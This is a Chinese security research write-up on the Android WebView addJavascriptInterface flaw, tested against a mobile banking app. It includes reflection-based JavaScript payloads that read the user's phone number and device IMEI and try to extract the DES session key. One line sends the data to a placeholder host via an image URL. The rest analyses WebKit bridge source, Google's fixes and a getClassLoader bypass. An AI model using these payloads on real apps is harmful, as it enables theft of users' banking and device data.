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Android WebView 漏洞的利用、局限与终结

0x00 引言

WebView.addJavascriptInterface方法导致的远程代码执行漏洞由来已久，与其相关的CVE有三个（ CVE-2012-6636 、 CVE-2013-4710 、 CVE-2014-1939 ）。从乌云上暴露的相关漏洞来看，常见的利用方法就是通过反射获得java.lang.Runtime的实例，然后执行一系列shell命令，从而达到读取联系人、发短信、读写SD卡文件、反弹shell、安装APK等目的，可以参考livers的文章 WebView中接口隐患与手机挂马利用。

本文通过一个例子讨论如何利用反射来获得APP的运行时信息，以及利用此方法的一些限制和原因分析。

0x01 案例

1.安全的加密算法

本文的起因源于对一个手机银行APP的分析。该APP使用了HTML进行数据传输，并使用了RSA和DES算法对数据加密。首先在本机利用时间戳随机生成一个用于DES加密的秘钥，然后在与服务器握手时用RSA算法（函数n返回的就是公钥）对DES秘钥加密后发送给服务器。

握手

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握手完成后，之后的数据就会使用DES进行加解密。

加密

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解密

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这种加密方式也是一种比较安全的方式，作为中间人即使截获了数据流，没有RSA私钥（这个应该只存在于银行的服务器上）也就无法解密握手数据，得不到DES秘钥也无法解密之后的数据流。

2.addJavascriptInterface的利用

当前的银行手机应用已经不再仅仅满足于查询、转账这些基础功能了。比如这个应用就引入了抠电影( http://m.komovie.cn/ )，可以在应用里直接打开相关网页，选座、购票并最终跳转到APP的支付Activity。网页与应用交互采用的就是 WebView 的 addJavascriptInterface 接口，注册了一个名为mpcpay的RunOnJS接口对象。

注册接口

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由于该应用并没有设置targetSdkVersion，因此这里应该存在着可利用的漏洞。测试一下看看，把对http://m.komovie.cn的请求返回结果修改为本地的D:/test.htm。

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相比于利用 Runtime 执行 shell 命令，我更希望能够获得程序本身内部的一些信息。test.htm的内容如下：

#!html <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </HEAD> <BODY> </BODY> <script type="text/javascript">  try{            document.write("**********output start**********<br/>");     var runtimeClass = window.mbcpay.getClass().forName("java.lang.Runtime");     document.write(runtimeClass.toString());     document.write("<br/>");     var Release = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("RELEASE").get(null);     var SDK = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("SDK").get(null);     document.write("Android " + Release.toString() +" API " + SDK.toString());     document.write("<br/>");     var MyAppClass = window.mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.util.MyApplication");     document.write("Use ClassLoader to get MyAppClass: "+ MyAppClass.toString());     document.write("<br/>");     var MyAppClass2 = window.mbcpay.getClass().forName("com.nxy.henan.util.MyApplication");     document.write("Use forName to get MyAppClass2: "+ MyAppClass2.toString());     document.write("<br/>");     document.write("********** output end **********<br/>"); } catch(e) {     document.write(e.toString());     document.write("<br/>"); }  </script> </HTML>

输出结果如图

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从代码及对应的输出结果可以看出，可以利用mbcpay.getClass().forName来获得系统类如java.lang.Runtime和android.os.Build$VERSION，但是不能获得com.nxy.henan.util.MyApplication，即APK中所定义的类（抛出了异常）。但是却可以通过mbcpay.getClass().getClassLoader().loadClass来获得。

接下来，就能比较容易的获得APK中public的类的一些静态字段，如：

#!java var mobile = MyAppClass.getField("f").get(null); document.write(mobile.toString());//手机号码 document.write("<br/>"); document.write(mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.e").getField("d").get(null));//手机串号 document.write("<br/>");

这样，只要通过在页面中加入一个img标签，并设置

#!java img.src="http://xxx.xxx.xxx.xxx/?param=......";

就可以把想要获得的数据上传。

3. 无法获得的字节数组

回过头来再看DES加密和解密的方法，其中明确说明了i.b就是DES算法所用的key。

#!java b.a("XMLManager.DESKEY=>>>>" + i.b);

而它的声明如下

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没错，公开的、静态的字节数组。如果得到了数组的内容，就可以对握手之后的数据完全解密。毕竟解密方法都已经有了。于是使用

#!java var desKey = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.i").getField("b").get(null); document.write(desKey.toString()); document.write("<br/>");

得到的却是

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从 [B 可以看出确实得到了一个字节数组，后面的 4394d738 应该就是它的内存地址。但是在js层面，我无法获得数组里的具体内容，因为不能用 [] ，而数组本身也没有类似的get(index)方法。

尝试使用Array.get(Object array, int index):

#!java var ObjectClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Object"); var IntegerClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Integer"); var intClass = IntegerClass.getField("TYPE").get(null); var ArrayGetMethod = mbcpay.getClass().getClassLoader().loadClass("java.lang.reflect.Array").getMethod("get",[ObjectClass,intClass]);

结果只会发生异常，找不到这个get方法。

也无法使用Array.newInstance()创建实例，因为它的构造函数不是公开的。

在尝试了各种方法都无法获得deskey数组的值之后，我在程序代码里发现了这个函数

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第一个参数就是握手了URL,第二个参数就是字节数组。这个函数就是前面握手时所调用的，那时的byte数组参数就是经过RSA加密的DES KEY。此时我们或许可以利用它把deskey的原始数据传出去。并且有一个名为a()的静态公开方法返回了它的唯一实例:

#!java var obj_a = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.a").getMethod("a",null).invoke(null,null); var ret = obj_a.b("http://www.sohu.com",desKey); document.write(ret.toString()); document.write("<br/>");

然后得到：

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意思是b是一个属性而不是一个方法。仔细看了一下，原来这个类中还声明了一个公开的变量b：

#!java public class a { public static boolean a = false; public static String b = null;

其实这应该是混淆器的杰作了，把所有的函数变量都变成了abc。

好吧，直到现在，我仍然没有找到能够获得deskey数组数据的方法。

0x02 分析

1. Weview中方法调用的限制

为了弄清在webview中注册的对象调用方法到底有哪些限制，我写了一个例子程序进行测试：

#!java package my.demo;  import java.lang.reflect.Field;  import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.widget.Toast;  public class MyInterface {     Activity mContext;      public String[] strArray = new String[]{"123"};      public int Value = 100;      public String[] strArray(int value)     {         return this.strArray;     }      public String[] getStrArray(int value)     {         return this.strArray;     }     public String[] getStrArray2(String value)     {         return this.strArray;     }     public int getIntValue()     {         return 10;     }      MyInterface(Activity c) {         mContext = c;     }      public void showToast(String webMessage){                    Toast.makeText(mContext, webMessage, Toast.LENGTH_SHORT).show();     }     public Activity getContext()     {         return mContext;     }      public String test1(String value1)     {         Class c;         return "ret "+value1;     }      public static String test6(Object value1)     {         Class c;         return "ret "+value1;     }      public String test2(String ... strs)     {         String ret = "";         for(int i=0;i<strs.length;i++)         {             ret = ret + strs[i] + "   ";         }         return "ret "+ret;     }      public String test3(Class cls)     {         return "ret "+cls.toString();     }     public String test5(Object[]clss)     {         try         {         String ret = "";         for(int i=0;i<clss.length;i++)         {             ret = ret + clss[i].toString() + "   ";         }         return "ret "+ret;         }catch(Exception e)         {             return e.toString();         }     }      public String test4(Class ... clss)     {         String ret = "";         for(int i=0;i<clss.length;i++)         {             ret = ret + clss[i].toString() + "   ";         }         return "ret "+ret;     }  }

测试了各种有着不同签名的方法，最终得到如下结论：

接口对象只能访问公开的字段和方法，这一点和Java对象是一样的。
接口对象不能直接访问公开字段,如myIntf.Value，而要用myIntf.getClass().getField("Value").get(myIntf)访问。如果同时存在公开的同名字段和方法，如strArray，那么myIntf.strArray既不能当做函数调用，也不能当做字段使用。调用myIntf.strArray(1).toString()会告诉你strArray是一个属性，调用myIntf.strArray.toString()会告诉你strArray是undefined。
接口对象可以直接调用公开方法（静态方法或实例方法），如myIntf.test1(""),myIntf.test6(obj)等。其参数可以是基本类型，可以是基本类型的数组，可以是对象类型，但是不！可！以！是对象类型的数组。比如Object[],Object ... ,Class[],Class ... 都不可以。
目标类型如果有默认的构造函数，则可以用myIntf.getClass("xxx").newInstance()创建对象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes) 获得其构造函数，但是只能获得没有类型参数的。也就是说，无法创建构造函数带参数的类型的对象。
目标类型可以获得其静态的无参数方法，如myIntf.getClass("xxx").getMethod("method1",null),但是不能获得有参数的方法，如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是说，用getMethod().invoke()只能调用无参数的静态方法。调用有参数的静态方法，只能先获得实例，再用实例进行调用。
可以通过myIntf.getClass().getField("strArray").get(null)获得实例的数组对象strArray，但是通过函数调用返回的数组类型（无论是不是基本类型数组）结果都是undefined，如getStrArray2将返回undefined。

有了上面这些限制条件，有很多有意思的想法便不能实现。比如不能new一个File来读写文件，不能new一个DexClassLoader来实现动态加载外部dex/jar （这两个类都没有无参数的构造函数），当然也不能调用Array.get()来获得数组的内容。所以接下来就对WebView的相关代码进行分析，希望能找到答案。

2.NPAPI

http://androidxref.com/ 是一个不错的Andrid源码在线浏览网站，可以找到各个版本的Android Source Code，而且搜索的速度也比较快。由于使用的测试手机系统是4.3，因此主要参考了 JellyBean - 4.3 （4.4.x和5.x中的实现与4.3略有不同，本文不再过多讨论）。经过一番查找，最后在 xref: /external/webkit/Source/WebCore/bridge/ 目录下找到了一些关键的实现类。从这个目录里的文件可以看出，google通过实现了NPAPI接口来支持js和java的交互。关于NPAPI，可以参考 https://en.wikipedia.org/wiki/NPAPI 以及 NPAPI & NPRuntime 簡介 Scriptable Plugin 。

根据NPAPI的文档以及对相关实现类的分析，绘制了下面的关系图：

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当注册js对象时（本例中是mbcpay），会为该js对象创建一个JavaNPObject对象，从它一方面可以得到JavaClassJobject对象，从而得到MyInterface（mbcpay对应的java类型）的类型信息，包括字段和方法信息；另一方面可以获得JavaInstanceJobject对象，从而能够调用MyInterface实例的方法、

获取实例的属性。

JavaNPObject定义在这里。

这个文件里定义了几个关键的方法，通过调试可以确定这几个方法的用途：

#!java //判断目标对象是否存在指定的方法，方法名由identifier指定 91 bool JavaNPObjectHasMethod(NPObject* obj, NPIdentifier identifier) //调用Invvoke执行目标对象的方法，方法名由identifier指定，其后是调用参数和结果参数 110 bool JavaNPObjectInvoke(NPObject* obj, NPIdentifier identifier, const NPVariant* args, uint32_t argCount, NPVariant* result) //判断目标对象是否存在指定的属性，属性名由identifier指定 164 bool JavaNPObjectHasProperty(NPObject* obj, NPIdentifier identifier) //获得目标对象的属性，属性名由identifier指定，其后是结果参数 179 bool JavaNPObjectGetProperty(NPObject* obj, NPIdentifier identifier, NPVariant* result)

具体调试的过程本文不再列出，不过需要说明的是，这些关键函数最终都会被编译到 /system/lib/libwebcore.so (Android 4.3)。并且函数名已经被strip掉了，最终都是一些名为sub_xxxxxxxx的函数。为了找到正确的函数地址，用到了一个比较取巧的办法。

在 JavaNPObjectInvoke 函数中，调用了 convertNPVariantToJavaValue 方法，目的是将js的调用参数转换为java对象。在这个方法中，有一些关键的字符串，如 [Ljava.lang.String; 。通过在IDA中搜索相关字符串，很容易找到 convertNPVariantToJavaValue 函数的位置。

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断在这个函数后，执行到返回，就可以找到 JavaNPObjectInvoke 方法的位置，进而可以找到其他函数的地址。

3.方法调用被限制的原因

接下来，就可以解释为什么Webview中注册的方法会有那些调用限制了。

1.接口对象只能访问公开的字段和方法

JavaClassJobject 在创建时，会去调用Java对象的getFields和getMethods，并把结果保存到内部列表里，以供以后查询。这两个方法本身就只会得到其对象的公开字段和方法，除非使用getDeclaredFields和getDeclardMethods。但是这里也没理由这么做。

2.接口对象不能直接访问公开字段,如myIntf.Value。如果同时存在公开的同名字段和方法，如strArray，那么myIntf.strArray既不能当做函数调用，也不能当做字段使用。

对于myIntf.strArray，程序会首先判断这是否一个字段。 JavaNPObjectHasProperty 返回 true ，就会继续调用 JavaNPObjectGetProperty 获得属性值。在这个方法的最后有这么一段：

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可以看到，如果是ANDROID系统。JavaValue value只是一个默认值，并没有调用getField。所以最后得到的结果是undefined。而对于myIntf.strArray(),程序也会把它先判断为是一个字段。因此最后的结果就是前面看到的，“property strArray of object is not a function”。

但是在 Android 4.4.2 的代码中，这个问题得到了修复。因为在这个版本中， HasProperty与GetProperty 都直接返回了false。这样strArray()就可以正常调用了。那么也许在4.4.2版本中，通过握手方法a.b()把字节数组传出就能够实现了，这里并没有再继续验证。

3.接口对象可以直接调用公开方法（静态方法或实例方法）。其参数可以是基本类型，可以是基本类型的数组，可以是对象类型，但是不！可！以！是对象类型的数组。

关于这个限制，要看 convertNPVariantToJavaValue 对参数的转换。在这个函数里，支持了各种类型从NPVariant转换为JavaValue，除非返回值的类型是Array，而且是个非基本类型的Array。

#!java  switch (javaType) { 52    case JavaTypeArray: 53    #if PLATFORM(ANDROID) ......  } else { 205                // JSC sends null for an array that is not an array of strings or basic types. 206                break; 207            }

也就是说，此方法不支持Object数组或是Class数组的参数转换，参数会直接被丢弃（转换后length=0）。

4.目标类型如果有默认的构造函数，则可以用myIntf.getClass("xxx").newInstance()创建对象。也可以用 `myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes)` 获得其构造函数，但是只能获得没有类型参数的。也就是说，无法创建构造函数带参数的类型的对象。

这个就好解释了，因为有限制3，而getConstructor的参数又是Class不定长数组： public Constructor<T> getConstructor(Class<?>... parameterTypes)

5.目标类型可以获得其静态的无参数方法，如myIntf.getClass("xxx").getMethod("method1",null),但是不能获得有参数的方法，如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是说，用getMethod().invoke()只能调用无参数的静态方法。调用有参数的静态方法，只能先获得实例，再用实例进行调用。

这个限制的原因也是因为有限制3，getMethod的方法签名是 public Method getMethod(String name, Class<?>... parameterTypes) ，第二参数也是一个Class不定长数组。因此，无论传什么参数，都只能获得无参数的方法。

6.可以通过myIntf.getClass().getField("strArray").get(null)获得实例的数组对象strArray，但是通过函数调用返回的数组类型（无论是不是基本类型数组）结果都是undefined，如getStrArray2将返回undefined。

这是因为，根据方法的签名，getField("").get(null)最后返回的都是一个Object，而getStrArray2函数返回的签名是数组。虽然他们实际返回的都是同一个数组对象，但是在 JavaNPObjectInvoke 函数的最后，调用 convertJavaValueToNPVariant 将JavaValue转换为NPVariant时，就走了完全不同的路径。

#!java 341    case JavaTypeObject: 342        { 343            // If the JavaValue is a String object, it should have type JavaTypeString. 344            if (value.m_objectValue) 345                OBJECT_TO_NPVARIANT(JavaInstanceToNPObject(value.m_objectValue.get()), *result); 346            else 347                VOID_TO_NPVARIANT(*result); 348        } 349        break; ...... 415    case JavaTypeInvalid: 416    default: 417        { 418            VOID_TO_NPVARIANT(*result); 419        } 420        break; 421    }

如果返回值是Java对象类型，那么就正常转换为NPObject；如果是数组类型，将直接掉到defalut，于是返回undefined。

0x03 终结

1.@JavaScriptInterface

对于 addJavascriptInterface 漏洞， google在Android 4.2（API>=17） 上解决了这个问题。要求在允许被调用的方法上加 @JavaScriptInterface 注解，同时设置 android:targetSdkVersion>=17 。它是如何起作用的呢？

还是回到 JavaClassJobject 这个类。在其构造函数被调用，填充它的字段和函数列表时，调用了jsAccessAllowed函数，判断是否允许调用目标函数。

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而jsAccessAllowed函数定义如下：

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可以看到，如果 m_requireAnnotation

为真，则需要检查目标方法是否有 android/webkit/JavascriptInterface 注解，有才允许调用。如果 m_requireAnnotation 为假，那么目标方法总是允许被调用。

而 requireAnnotation 在 WebViewClassic.java 中计算得出：

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因此，只要设置了targetSdkVersion>=17，就会自动执行对方法上的 JavaScriptInterface 注解的检查。不允许调用没有注解的方法。

2.阻止getClass调用

如果不设置targetSdkVersion，那么仍然不能阻止调用任意的公开方法。因此，google在 Android 4.4.4 版本上从底层直接阻止了getClass方法的调用。在 JavaBoundObject::Invoke 中，判断是否调用的是getClass方法，如果是则返回 kAccessToObjectGetClassIsBlocked ，即 "Access to java.lang.Object.getClass is blocked" 。

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这样，无论是否设置了targetSdkVersion，getClass方法不允许被调用，就从根本上禁止了Webview的js对象的反射方法调用。

3.是否真的万无一失?

虽然禁止了getClass的调用，但是还有一个getClassLoader呢？Android的Context类自带一个叫做getClassLoader的public方法。因此，试验一下把js对象注册到Activity上：

#!java public void onCreate(Bundle savedInstanceState) { ......     Wv.addJavascriptInterface(this, "mbcpay");

脚本也稍作修改，需要的类都用loadClass加载：

#!java try{         var loader = window.mbcpay.getClassLoader();      document.write(loader);     document.write("<br/>");      var runtimeClass = loader.loadClass("java.lang.Runtime");     document.write(runtimeClass.toString());     document.write("<br/>");     var Release = loader.loadClass("android.os.Build$VERSION").getField("RELEASE").get(null);     var SDK = loader.loadClass("android.os.Build$VERSION").getField("SDK").get(null);     document.write("Android " + Release.toString() +" API " + SDK.toString());     document.write("<br/>")  }catch(e) {      document.write(e.toString());        document.write("<br/>"); }

最后，在不设置targetSdkVersion>=17时，可以看到结果：

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